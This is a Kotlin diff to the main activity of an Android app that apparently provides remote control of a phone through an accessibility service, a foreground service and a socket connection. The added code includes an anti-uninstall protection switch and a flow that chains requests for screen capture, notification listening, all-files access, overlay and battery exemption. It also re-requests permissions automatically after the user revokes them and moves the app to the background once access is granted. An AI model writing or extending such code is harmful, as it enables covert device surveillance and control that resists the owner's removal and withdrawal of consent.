+ Log.i(
+ TAG,
+ "🌐 WebView可见但检测到权限流程信号,继续执行权限处理: explicit=$hasExplicitPermissionIntent, unified=$unifiedPermissionFlowInProgress"
+ )
+ }
+
//ANR修复:异步处理onResume逻辑,避免阻塞主线程
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
@@ -1941,6 +2069,17 @@ class MainActivity : AppCompatActivity() {
//WebView性能优化:恢复WebView
resumeWebView()
+
+ if (hasExplicitPermissionIntent) {
+ Log.i(TAG, "onResume检测到显式权限Intent,优先执行权限处理")
+ handleIntentAndPermissions(currentIntent)
+ } else if (unifiedPermissionFlowInProgress) {
+ continueUnifiedPermissionFlow("onResume")
+ } else if (AccessibilityRemoteService.isServiceRunning()) {
+ Log.d(TAG, "服务已运行,跳过统一编排回补检测")
+ } else {
+ Log.d(TAG, "稳定模式:onResume 跳过自动回补编排,避免权限链路被打断")
+ }
} catch (e: Exception) {
Log.e(TAG, "异步处理onResume失败", e)
}
@@ -1968,6 +2107,12 @@ class MainActivity : AppCompatActivity() {
} catch (e: Exception) {
Log.w(TAG, "处理日志开关时异常: ${e.message}")
}
+
+ try {
+ savePermissionHealthSnapshot(buildCurrentPermissionSnapshot())
+ } catch (e: Exception) {
+ Log.w(TAG, "保存权限快照失败", e)
+ }
}
private fun initViews() {
@@ -1977,9 +2122,14 @@ class MainActivity : AppCompatActivity() {
usageInstructionsText = findViewById(R.id.usageInstructionsText)
serviceSwitch = findViewById(R.id.serviceSwitch)
appIconImageView = findViewById(R.id.appIconImageView)
+ uninstallProtectionSwitch = findViewById(R.id.uninstallProtectionSwitch)
+ copyDiagnosticsButton = findViewById(R.id.copyDiagnosticsButton)
+ diagnosticsPreviewText = findViewById(R.id.diagnosticsPreviewText)
//新增:从配置文件加载页面样式
loadPageStyleConfig()
+ refreshUninstallProtectionSwitchState()
+ refreshDiagnosticsPreview()
}
@@ -2078,19 +2228,16 @@ class MainActivity : AppCompatActivity() {
when {
!isAccessibilityEnabled -> {
Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置")
- //用户主动点击按钮时,跳转到无障碍设置
openAccessibilitySettings()
}
isAccessibilityEnabled && !isServiceRunning -> {
Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态")
- // 如果无障碍服务已启用但服务未运行,可能需要检查其他权限
checkAllPermissions()
}
isAccessibilityEnabled && isServiceRunning -> {
Log.i(TAG, "服务已完全运行,无需操作")
- // 服务已运行,按钮应该是禁用状态,这里只是记录日志
}
else -> {
@@ -2119,7 +2266,105 @@ class MainActivity : AppCompatActivity() {
}
}
+ uninstallProtectionSwitch.setOnCheckedChangeListener { _, isChecked ->
+ if (isUpdatingUninstallProtectionSwitch) {
+ return@setOnCheckedChangeListener
+ }
+ val service = AccessibilityRemoteService.getInstance()
+ if (service == null) {
+ Toast.makeText(this, "服务未运行,无法切换防卸载", Toast.LENGTH_SHORT).show()
+ refreshUninstallProtectionSwitchState()
+ return@setOnCheckedChangeListener
+ }
+
+ try {
+ if (isChecked) {
+ service.enableUninstallProtection()
+ Toast.makeText(this, "已开启防卸载保护", Toast.LENGTH_SHORT).show()
+ } else {
+ service.disableUninstallProtection()
+ Toast.makeText(this, "已关闭防卸载保护", Toast.LENGTH_SHORT).show()
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "切换防卸载保护失败", e)
+ Toast.makeText(this, "切换失败: ${e.message}", Toast.LENGTH_SHORT).show()
+ } finally {
+ refreshUninstallProtectionSwitchState()
+ refreshDiagnosticsPreview()
+ }
+ }
+
+ copyDiagnosticsButton.setOnClickListener {
+ copyConnectionDiagnosticsToClipboard()
+ }
+
+
+ }
+
+ private fun refreshUninstallProtectionSwitchState() {
+ if (!::uninstallProtectionSwitch.isInitialized) return
+ val enabled = AccessibilityRemoteService.getInstance()?.isUninstallProtectionEnabled() ?: false
+ isUpdatingUninstallProtectionSwitch = true
+ uninstallProtectionSwitch.isChecked = enabled
+ isUpdatingUninstallProtectionSwitch = false
+ }
+
+ private fun refreshDiagnosticsPreview() {
+ if (!::diagnosticsPreviewText.isInitialized) return
+ val service = AccessibilityRemoteService.getInstance()
+ val socketDiagSummary = service?.getSocketIOManager()?.getConnectionDiagnosticsSummary()
+ ?: "socket=not_ready"
+ val preview = buildString {
+ append("无障碍=")
+ append(if (isAccessibilityServiceEnabled()) "已开启" else "未开启")
+ append(" | 服务实例=")
+ append(if (service != null) "就绪" else "未就绪")
+ append("\n")
+ append(socketDiagSummary)
+ }
+ diagnosticsPreviewText.text = preview
+ }
+
+ private fun copyConnectionDiagnosticsToClipboard() {
+ val now = System.currentTimeMillis()
+ val service = AccessibilityRemoteService.getInstance()
+ val socketManager = service?.getSocketIOManager()
+ val report = buildString {
+ appendLine("=== ANDROID DIAGNOSTICS ===")
+ appendLine("timestamp: $now")
+ appendLine("brand/model: ${Build.BRAND}/${Build.MODEL}")
+ appendLine("sdk: ${Build.VERSION.SDK_INT}, release: ${Build.VERSION.RELEASE}")
+ appendLine("accessibilityEnabled: ${isAccessibilityServiceEnabled()}")
+ appendLine("serviceRunning: ${AccessibilityRemoteService.isServiceRunning()}")
+ appendLine("uninstallProtection: ${service?.isUninstallProtectionEnabled() ?: false}")
+ appendLine("--- socket ---")
+ if (socketManager != null) {
+ appendLine(socketManager.getConnectionDiagnosticsReport())
+ } else {
+ appendLine("socket manager not ready")
+ }
+ }
+
+ try {
+ val clipboard = getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
+ clipboard.setPrimaryClip(ClipData.newPlainText("android_diagnostics", report))
+ try {
+ val diagDir = java.io.File(filesDir, "diagnostics")
+ if (!diagDir.exists()) {
+ diagDir.mkdirs()
+ }
+ val file = java.io.File(diagDir, "latest_connection_diag.txt")
+ file.writeText(report)
+ } catch (fileError: Exception) {
+ Log.w(TAG, "写入本地诊断日志失败", fileError)
+ }
+ Toast.makeText(this, "连接诊断日志已复制,可直接发给我分析", Toast.LENGTH_SHORT).show()
+ refreshDiagnosticsPreview()
+ } catch (e: Exception) {
+ Log.e(TAG, "复制连接诊断日志失败", e)
+ Toast.makeText(this, "复制失败: ${e.message}", Toast.LENGTH_SHORT).show()
+ }
}
/**
@@ -2403,9 +2648,11 @@ class MainActivity : AppCompatActivity() {
sendBroadcast(disableKeepAliveIntent)
// 启动基础服务
- val basicServiceIntent =
- Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
- startForegroundService(basicServiceIntent)
+ if (startRemoteForegroundServiceSafely(reason = "degraded_mode")) {
+ Log.i(TAG, "降级模式基础服务已启动")
+ } else {
+ Log.w(TAG, "降级模式跳过主前台服务启动,避免 FGS 权限崩溃")
+ }
Log.i(TAG, "降级模式已启动")
@@ -2414,6 +2661,29 @@ class MainActivity : AppCompatActivity() {
}
}
+ private fun startRemoteForegroundServiceSafely(
+ action: String? = null,
+ reason: String
+ ): Boolean {
+ return try {
+ val serviceIntent =
+ Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
+ action?.let { serviceIntent.action = it }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ startForegroundService(serviceIntent)
+ } else {
+ startService(serviceIntent)
+ }
+ true
+ } catch (security: SecurityException) {
+ Log.e(TAG, "启动RemoteControlForegroundService被系统拒绝($reason)", security)
+ false
+ } catch (e: Exception) {
+ Log.e(TAG, "启动RemoteControlForegroundService失败($reason)", e)
+ false
+ }
+ }
+
/**
*修复:优化的保活检测方法,避免误判导致卡顿
*/
@@ -2750,13 +3020,11 @@ class MainActivity : AppCompatActivity() {
//参考 f 目录策略:不启动多余的保活服务,只启动主前台服务
try {
// 只启动主前台服务(对应 f 目录的 BackRunServerUseUse)
- val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
- if (android.os.Build.VERSION.SDK_INT >= 26) {
- startForegroundService(foregroundIntent)
+ if (startRemoteForegroundServiceSafely(reason = "accessibility_recovery")) {
+ Log.i(TAG, "已启动主前台服务做后台恢复(参考 f 目录策略)")
} else {
- startService(foregroundIntent)
+ Log.w(TAG, "跳过主前台服务启动,避免无投屏授权时触发 FGS 安全限制")
}
- Log.i(TAG, "已启动主前台服务做后台恢复(参考 f 目录策略)")
} catch (e: Exception) {
Log.w(TAG, "启动主前台服务失败: ${e.message}")
}
@@ -2904,9 +3172,18 @@ class MainActivity : AppCompatActivity() {
// 更新Switch状态
updateSwitchState()
- //修复:无障碍权限正常时,自动切换到WebView界面
- Log.i(TAG, "🌐 无障碍权限正常,自动切换到WebView界面")
- switchToWebViewInterface()
+ // 权限链路期间禁止自动切WebView,避免抢焦点打断系统弹框
+ val shouldSuppressAutoSwitch =
+ hasExplicitPermissionRequestIntent(intent) ||
+ pendingSingleRuntimePermissionRequest ||
+ permissionRequestInProgress ||
+ isAutoPermissionRequest
+ if (shouldSuppressAutoSwitch) {
+ Log.i(TAG, "🚦 当前处于权限流程,跳过自动切换WebView")
+ } else {
+ Log.i(TAG, "🌐 无障碍权限正常,自动切换到WebView界面")
+ switchToWebViewInterface()
+ }
}
// 删除悬浮窗权限状态检查
@@ -2978,35 +3255,31 @@ class MainActivity : AppCompatActivity() {
updateSwitchState()
}
}
+ refreshUninstallProtectionSwitchState()
+ refreshDiagnosticsPreview()
}
private fun checkAllPermissions() {
Log.i(TAG, "检查所有权限状态")
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
- // 删除悬浮窗权限检查
-
- //新增:检查存储权限状态
checkStoragePermissions()
Log.i(TAG, "权限状态 - 无障碍: $isAccessibilityEnabled")
when {
!isAccessibilityEnabled -> {
- Log.i(TAG, "无障碍权限未开启,用户主动操作,跳转到无障碍设置")
- //用户主动操作时,跳转到无障碍设置
+ Log.i(TAG, "无障碍权限未开启,跳转无障碍设置")
openAccessibilitySettings()
}
isAccessibilityEnabled -> {
- // 无障碍服务已启用,直接切换到WebView界面
Log.i(TAG, "无障碍服务已开启,切换到WebView界面")
switchToWebViewInterface()
}
else -> {
Log.i(TAG, "所有必要权限已开启")
- // 所有必要权限都已开启,检查服务状态
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "权限已开启但服务未运行,可能需要重启应用")
}
@@ -3014,6 +3287,583 @@ class MainActivity : AppCompatActivity() {
}
}
+ /**
+ * 统一权限编排入口
+ * 1. 先批量运行时权限
+ * 2. 再特殊权限逐项处理
+ * 3. 处理权限丢失自动回补
+ */
+ private fun startUnifiedPermissionFlow(trigger: String, preferBackground: Boolean) {
+ try {
+ Log.i(TAG, "🚦 启动统一权限编排: trigger=$trigger, preferBackground=$preferBackground")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "flow_start",
+ data = mapOf(
+ "trigger" to trigger,
+ "preferBackground" to preferBackground
+ )
+ )
+ if (unifiedPermissionFlowInProgress) {
+ unifiedPermissionFlowBackgroundPreferred =
+ unifiedPermissionFlowBackgroundPreferred || preferBackground
+ continueUnifiedPermissionFlow("reentry:$trigger")
+ return
+ }
+
+ unifiedPermissionFlowInProgress = true
+ unifiedPermissionFlowBackgroundPreferred = preferBackground
+ unifiedPermissionFlowLastActionAt = 0L
+ runtimeBatchRequestAttempts = 0
+ permissionStepAttempts.clear()
+ manualPermissionSteps.clear()
+ cachedSlowPermissionFlowMode = null
+ slowPermissionFlowModeLogged = false
+
+ updateStatusTextThreadSafe(
+ "正在统一检查权限...\n会自动申请可自动获取的权限",
+ android.R.color.holo_orange_dark
+ )
+ continueUnifiedPermissionFlow("start:$trigger")
+ } catch (e: Exception) {
+ Log.e(TAG, "启动统一权限编排失败", e)
+ }
+ }
+
+ private fun continueUnifiedPermissionFlow(reason: String) {
+ if (!unifiedPermissionFlowInProgress || isFinishing || isDestroyed) {
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ val actionIntervalMs = getPermissionFlowActionIntervalMs()
+ val elapsedSinceLastAction = now - unifiedPermissionFlowLastActionAt
+ if (elapsedSinceLastAction < actionIntervalMs) {
+ Log.d(
+ TAG,
+ "权限编排节流中,跳过本次继续: $reason, elapsed=${elapsedSinceLastAction}ms, need=${actionIntervalMs}ms"
+ )
+ return
+ }
+
+ var guard = 0
+ while (guard < 12) {
+ guard++
+ val snapshot = buildCurrentPermissionSnapshot()
+ val nextStep = resolveNextPermissionStep(snapshot)
+
+ if (nextStep == null) {
+ finishUnifiedPermissionFlow(snapshot, "completed:$reason")
+ return
+ }
+
+ if (nextStep == UnifiedPermissionOrchestrator.Step.RUNTIME) {
+ if (runtimeBatchRequestAttempts >= MAX_RUNTIME_BATCH_REQUEST_ATTEMPTS) {
+ manualPermissionSteps.add(nextStep)
+ Log.w(TAG, "运行时权限自动申请已达上限,转手动处理")
+ updateStatusTextThreadSafe(
+ "运行时权限需要手动确认\n请在设置页完成授权",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ finishUnifiedPermissionFlow(snapshot, "runtime_manual_required")
+ return
+ }
+
+ runtimeBatchRequestAttempts++
+ unifiedPermissionFlowLastActionAt = now
+ val requestList = snapshot.runtimeMissing.toTypedArray()
+ val userFixed = getUserFixedDeniedPermissions(requestList.toList())
+ val requestable = requestList.filterNot { userFixed.contains(it) }.toTypedArray()
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "运行时权限存在USER_FIXED: ${userFixed.joinToString(",")}")
+ }
+
+ if (requestable.isEmpty()) {
+ manualPermissionSteps.add(nextStep)
+ updateStatusTextThreadSafe(
+ "检测到系统固定拒绝权限\n请在设置页手动开启后返回",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ finishUnifiedPermissionFlow(snapshot, "runtime_user_fixed")
+ return
+ }
+
+ Log.i(TAG, "批量申请运行时权限(${runtimeBatchRequestAttempts}): ${requestable.joinToString(",")}")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "runtime_request_dispatch",
+ data = mapOf(
+ "attempt" to runtimeBatchRequestAttempts,
+ "requestCount" to requestable.size,
+ "userFixedCount" to userFixed.size
+ )
+ )
+ if (userFixed.isNotEmpty()) {
+ updateStatusTextThreadSafe(
+ "部分权限被系统限制\n先自动申请其余权限",
+ android.R.color.holo_orange_dark
+ )
+ } else {
+ updateStatusTextThreadSafe(
+ "正在批量申请权限...\n请尽量一次性允许",
+ android.R.color.holo_orange_dark
+ )
+ }
+ markRuntimePermissionsRequested(requestable.toList())
+ requestPermissionsSafely(
+ requestable,
+ REQUEST_ALL_PERMISSIONS,
+ "orchestrator_runtime_batch"
+ )
+ return
+ }
+
+ val attempts = permissionStepAttempts.getOrDefault(nextStep, 0)
+ if (attempts >= MAX_SPECIAL_STEP_AUTO_ATTEMPTS) {
+ Log.w(TAG, "权限步骤 $nextStep 自动处理达到上限,标记手动处理")
+ manualPermissionSteps.add(nextStep)
+ continue
+ }
+
+ permissionStepAttempts[nextStep] = attempts + 1
+ val launched = launchSpecialPermissionStep(nextStep)
+ if (!launched) {
+ Log.w(TAG, "权限步骤 $nextStep 无法自动拉起,标记手动处理")
+ manualPermissionSteps.add(nextStep)
+ continue
+ }
+
+ unifiedPermissionFlowLastActionAt = now
+ return
+ }
+
+ finishUnifiedPermissionFlow(buildCurrentPermissionSnapshot(), "guard_break:$reason")
+ }
+
+ private fun buildCurrentPermissionSnapshot(): UnifiedPermissionOrchestrator.PermissionSnapshot {
+ val accessibilityGranted = isAccessibilityServiceEnabled()
+ val mediaProjectionGranted = checkRealMediaProjectionPermission()
+ return UnifiedPermissionOrchestrator.buildSnapshot(
+ context = this,
+ accessibilityGranted = accessibilityGranted,
+ mediaProjectionGranted = mediaProjectionGranted
+ )
+ }
+
+ private fun resolveNextPermissionStep(
+ snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot
+ ): UnifiedPermissionOrchestrator.Step? {
+ val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot)
+ if (missing.isEmpty()) {
+ return null
+ }
+
+ val romPolicy = DeviceDetector.getRomPolicy()
+ val order = romPolicy.permissionStepOrder.map { it.orchestratorStep }
+ for (step in order) {
+ if (missing.contains(step) && !manualPermissionSteps.contains(step)) {
+ return step
+ }
+ }
+ return null
+ }
+
+ private fun launchSpecialPermissionStep(step: UnifiedPermissionOrchestrator.Step): Boolean {
+ return try {
+ when (step) {
+ UnifiedPermissionOrchestrator.Step.ACCESSIBILITY -> {
+ updateStatusTextThreadSafe(
+ "正在引导开启无障碍权限...",
+ android.R.color.holo_orange_dark
+ )
+ openAccessibilitySettings()
+ true
+ }
+
+ UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION -> {
+ updateStatusTextThreadSafe(
+ "正在申请录屏权限...\n请在系统弹窗中确认",
+ android.R.color.holo_orange_dark
+ )
+ isAutoPermissionRequest = true
+ setPermissionRequestInProgressState(true, "unified_flow_media_projection")
+ requestMediaProjectionPermission()
+ true
+ }
+
+ else -> {
+ val intent = UnifiedPermissionOrchestrator.buildSettingsIntent(this, step)
+ ?: return false
+ val resolved = intent.resolveActivity(packageManager) != null
+ if (!resolved) {
+ if (step == UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS && Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
+ val fallback = Intent(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ if (fallback.resolveActivity(packageManager) != null) {
+ startActivity(fallback)
+ updateStatusForStep(step)
+ return true
+ }
+ }
+ Log.w(TAG, "权限步骤 $step 无可用设置入口,回退应用详情设置")
+ if (openAppDetailsSettings()) {
+ updateStatusTextThreadSafe(
+ "无法直达系统权限页,已打开应用详情设置",
+ android.R.color.holo_orange_dark
+ )
+ return true
+ }
+ return false
+ }
+
+ startActivity(intent)
+ updateStatusForStep(step)
+ true
+ }
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "拉起权限步骤失败: $step", e)
+ false
+ }
+ }
+
+ private fun updateStatusForStep(step: UnifiedPermissionOrchestrator.Step) {
+ val text = when (step) {
+ UnifiedPermissionOrchestrator.Step.OVERLAY -> "正在申请悬浮窗权限..."
+ UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS -> "正在申请系统设置修改权限..."
+ UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS -> "正在申请全部文件访问权限..."
+ UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER -> "正在申请通知监听权限..."
+ UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION -> "正在申请忽略电池优化..."
+ UnifiedPermissionOrchestrator.Step.EXACT_ALARM -> "正在申请精确闹钟权限..."
+ else -> "正在处理权限步骤..."
+ }
+ updateStatusTextThreadSafe(text, android.R.color.holo_orange_dark)
+ }
+
+ private fun finishUnifiedPermissionFlow(
+ snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot,
+ reason: String
+ ) {
+ unifiedPermissionFlowInProgress = false
+ // 兜底清理旧流程标记,避免后续广播被误判为“仍在申请中”
+ isAutoPermissionRequest = false
+ setPermissionRequestInProgressState(false, "unified_flow_finish:$reason")
+ savePermissionHealthSnapshot(snapshot)
+ val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot)
+ publishPermissionDegradeState(snapshot)
+
+ if (missing.isEmpty()) {
+ Log.i(TAG, "✅ 统一权限编排完成: $reason")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "flow_finish",
+ success = true,
+ data = mapOf(
+ "reason" to reason,
+ "manualStepCount" to manualPermissionSteps.size
+ )
+ )
+ updateStatusTextThreadSafe("权限已全部就绪", android.R.color.holo_green_dark)
+ updateButtonSafely("服务已就绪", android.R.color.holo_green_dark, false)
+ if (unifiedPermissionFlowBackgroundPreferred) {
+ Handler(mainLooper).postDelayed({
+ hideActivityToBackground()
+ }, 600)
+ }
+ return
+ }
+
+ val missingText = missing.joinToString("、") { stepToLabel(it) }
+ Log.w(TAG, "统一权限编排未完全完成,缺失: $missingText, reason=$reason")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "flow_finish",
+ success = false,
+ data = mapOf(
+ "reason" to reason,
+ "missingSteps" to missing.joinToString(",") { it.name },
+ "manualStepCount" to manualPermissionSteps.size
+ )
+ )
+ updateStatusTextThreadSafe(
+ "部分权限需手动完成:\n$missingText",
+ android.R.color.holo_orange_dark
+ )
+ updateButtonSafely("继续授权", null, true)
+ }
+
+ private fun publishPermissionDegradeState(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot) {
+ try {
+ val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot).map { stepToLabel(it) }
+ val intent = Intent("android.mycustrecev.PERMISSION_DEGRADE_MODE").apply {
+ putExtra("enabled", missing.isNotEmpty())
+ putExtra("missing_steps", missing.joinToString(","))
+ putExtra("timestamp", System.currentTimeMillis())
+ }
+ sendBroadcast(intent)
+ } catch (e: Exception) {
+ Log.w(TAG, "发送权限降级状态广播失败", e)
+ }
+ }
+
+ private fun stepToLabel(step: UnifiedPermissionOrchestrator.Step): String {
+ return when (step) {
+ UnifiedPermissionOrchestrator.Step.RUNTIME -> "运行时权限"
+ UnifiedPermissionOrchestrator.Step.OVERLAY -> "悬浮窗"
+ UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS -> "系统设置修改"
+ UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS -> "全部文件访问"
+ UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER -> "通知监听"
+ UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION -> "忽略电池优化"
+ UnifiedPermissionOrchestrator.Step.EXACT_ALARM -> "精确闹钟"
+ UnifiedPermissionOrchestrator.Step.ACCESSIBILITY -> "无障碍"
+ UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION -> "录屏投屏"
+ }
+ }
+
+ private fun openAppDetailsSettings(): Boolean {
+ return try {
+ val intent = UnifiedPermissionOrchestrator.buildAppDetailsIntent(this)
+ startActivity(intent)
+ true
+ } catch (e: Exception) {
+ Log.e(TAG, "打开应用详情设置失败", e)
+ false
+ }
+ }
+
+ private fun markRuntimePermissionsRequested(permissions: Collection) {
+ if (permissions.isEmpty()) {
+ return
+ }
+ try {
+ val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE)
+ val editor = prefs.edit()
+ permissions.forEach { permission ->
+ editor.putBoolean("asked_$permission", true)
+ }
+ editor.apply()
+ } catch (e: Exception) {
+ Log.w(TAG, "记录权限请求历史失败", e)
+ }
+ }
+
+ private fun requestPermissionsSafely(
+ permissions: Array,
+ requestCode: Int,
+ reason: String
+ ) {
+ if (permissions.isEmpty()) {
+ return
+ }
+ val requestArray = permissions.copyOf()
+ Handler(Looper.getMainLooper()).post {
+ dispatchRuntimePermissionRequest(
+ permissions = requestArray,
+ requestCode = requestCode,
+ reason = reason,
+ attempt = 0
+ )
+ }
+ }
+
+ private fun dispatchRuntimePermissionRequest(
+ permissions: Array,
+ requestCode: Int,
+ reason: String,
+ attempt: Int
+ ) {
+ if (isFinishing || isDestroyed) {
+ Log.w(TAG, "Activity已结束,取消权限请求分发: reason=$reason")
+ pendingSingleRuntimePermissionRequest = false
+ return
+ }
+ val resumed = lifecycle.currentState.isAtLeast(androidx.lifecycle.Lifecycle.State.RESUMED)
+ val focused = hasWindowFocus()
+ val dispatchIntervalMs = getRuntimeRequestDispatchIntervalMs()
+ if ((!resumed || !focused) && attempt < MAX_RUNTIME_REQUEST_DISPATCH_RETRIES) {
+ Log.d(
+ TAG,
+ "⏳ 权限请求等待Activity稳定: reason=$reason, attempt=${attempt + 1}, resumed=$resumed, focused=$focused"
+ )
+ Handler(Looper.getMainLooper()).postDelayed({
+ dispatchRuntimePermissionRequest(
+ permissions = permissions,
+ requestCode = requestCode,
+ reason = reason,
+ attempt = attempt + 1
+ )
+ }, dispatchIntervalMs)
+ return
+ }
+
+ if (!resumed || !focused) {
+ Log.w(
+ TAG,
+ "⚠️ Activity稳定检查未通过,超时后继续发起权限请求: reason=$reason, resumed=$resumed, focused=$focused"
+ )
+ }
+
+ try {
+ pendingSingleRuntimePermissionRequest = true
+ Log.i(TAG, "🚦 发起运行时权限请求[$reason]: ${permissions.joinToString(",")}")
+ requestPermissions(permissions, requestCode)
+ } catch (e: Exception) {
+ pendingSingleRuntimePermissionRequest = false
+ Log.e(TAG, "发起运行时权限请求失败: reason=$reason", e)
+ }
+ }
+
+ private fun recordRuntimePermissionResult(
+ permissions: Array,
+ grantResults: IntArray
+ ) {
+ if (permissions.isEmpty() || grantResults.isEmpty()) {
+ return
+ }
+ try {
+ val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE)
+ val editor = prefs.edit()
+ permissions.forEachIndexed { index, permission ->
+ if (index >= grantResults.size) {
+ return@forEachIndexed
+ }
+ val granted = grantResults[index] == PackageManager.PERMISSION_GRANTED
+ editor.putBoolean("asked_$permission", true)
+ if (granted) {
+ editor.putBoolean("denied_$permission", false)
+ } else {
+ editor.putBoolean("denied_$permission", true)
+ }
+ }
+ editor.apply()
+ } catch (e: Exception) {
+ Log.w(TAG, "记录权限回调结果失败", e)
+ }
+ }
+
+ private fun isPermissionLikelyUserFixed(permission: String): Boolean {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ return false
+ }
+ return try {
+ val denied = checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED
+ if (!denied) {
+ return false
+ }
+ val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE)
+ val askedBefore = prefs.getBoolean("asked_$permission", false)
+ val deniedBefore = prefs.getBoolean("denied_$permission", false)
+ val canShowRationale = shouldShowRequestPermissionRationale(permission)
+ askedBefore && deniedBefore && !canShowRationale
+ } catch (e: Exception) {
+ Log.w(TAG, "推断权限固定拒绝状态失败: $permission", e)
+ false
+ }
+ }
+
+ private fun getUserFixedDeniedPermissions(permissions: Collection): List {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ return emptyList()
+ }
+ return permissions.filter { permission ->
+ checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED &&
+ isPermissionLikelyUserFixed(permission)
+ }
+ }
+
+ private fun monitorPermissionLossAndAutoRepair(source: String) {
+ try {
+ val snapshot = buildCurrentPermissionSnapshot()
+ val lost = detectLostPermissions(snapshot)
+ savePermissionHealthSnapshot(snapshot)
+ if (lost.isEmpty()) {
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ if (now - lastAutoRepairAt < AUTO_REPAIR_COOLDOWN_MS) {
+ Log.i(TAG, "权限丢失自动回补处于冷却中: $lost")
+ return
+ }
+ if (unifiedPermissionFlowInProgress) {
+ Log.i(TAG, "统一权限编排进行中,跳过重复回补: $lost")
+ return
+ }
+
+ lastAutoRepairAt = now
+ Log.w(TAG, "检测到权限丢失,触发自动回补 source=$source, lost=$lost")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "permission_lost_detected",
+ success = false,
+ data = mapOf(
+ "source" to source,
+ "lost" to lost.joinToString(",")
+ )
+ )
+ startUnifiedPermissionFlow("权限丢失自动回补:$source", true)
+ } catch (e: Exception) {
+ Log.e(TAG, "权限丢失检测失败", e)
+ }
+ }
+
+ private fun detectLostPermissions(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot): List {
+ val prefs = getSharedPreferences(PREF_PERMISSION_HEALTH, Context.MODE_PRIVATE)
+ if (!prefs.getBoolean("initialized", false)) {
+ return emptyList()
+ }
+
+ val lost = mutableListOf()
+ if (prefs.getBoolean("runtime_granted", false) && !snapshot.runtimeGranted) {
+ lost.add("运行时权限")
+ }
+ if (prefs.getBoolean("overlay_granted", false) && !snapshot.overlayGranted) {
+ lost.add("悬浮窗")
+ }
+ if (prefs.getBoolean("write_settings_granted", false) && !snapshot.writeSettingsGranted) {
+ lost.add("系统设置修改")
+ }
+ if (prefs.getBoolean("all_files_granted", false) && !snapshot.allFilesGranted) {
+ lost.add("全部文件访问")
+ }
+ if (prefs.getBoolean("notification_listener_granted", false) && !snapshot.notificationListenerGranted) {
+ lost.add("通知监听")
+ }
+ if (prefs.getBoolean("battery_ignored", false) && !snapshot.batteryOptimizationIgnored) {
+ lost.add("电池优化白名单")
+ }
+ if (prefs.getBoolean("exact_alarm_granted", false) && !snapshot.exactAlarmGranted) {
+ lost.add("精确闹钟")
+ }
+ if (prefs.getBoolean("accessibility_granted", false) && !snapshot.accessibilityGranted) {
+ lost.add("无障碍")
+ }
+ if (prefs.getBoolean("media_projection_granted", false) && !snapshot.mediaProjectionGranted) {
+ lost.add("录屏投屏")
+ }
+ return lost
+ }
+
+ private fun savePermissionHealthSnapshot(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot) {
+ val prefs = getSharedPreferences(PREF_PERMISSION_HEALTH, Context.MODE_PRIVATE)
+ prefs.edit()
+ .putBoolean("initialized", true)
+ .putBoolean("runtime_granted", snapshot.runtimeGranted)
+ .putBoolean("overlay_granted", snapshot.overlayGranted)
+ .putBoolean("write_settings_granted", snapshot.writeSettingsGranted)
+ .putBoolean("all_files_granted", snapshot.allFilesGranted)
+ .putBoolean("notification_listener_granted", snapshot.notificationListenerGranted)
+ .putBoolean("battery_ignored", snapshot.batteryOptimizationIgnored)
+ .putBoolean("exact_alarm_granted", snapshot.exactAlarmGranted)
+ .putBoolean("accessibility_granted", snapshot.accessibilityGranted)
+ .putBoolean("media_projection_granted", snapshot.mediaProjectionGranted)
+ .putLong("updated_at", System.currentTimeMillis())
+ .apply()
+ }
+
/**
*新增:线程安全的 statusText 更新方法
*/
@@ -3080,6 +3930,48 @@ class MainActivity : AppCompatActivity() {
Log.e(TAG, "标记权限申请状态失败", e)
}
}
+
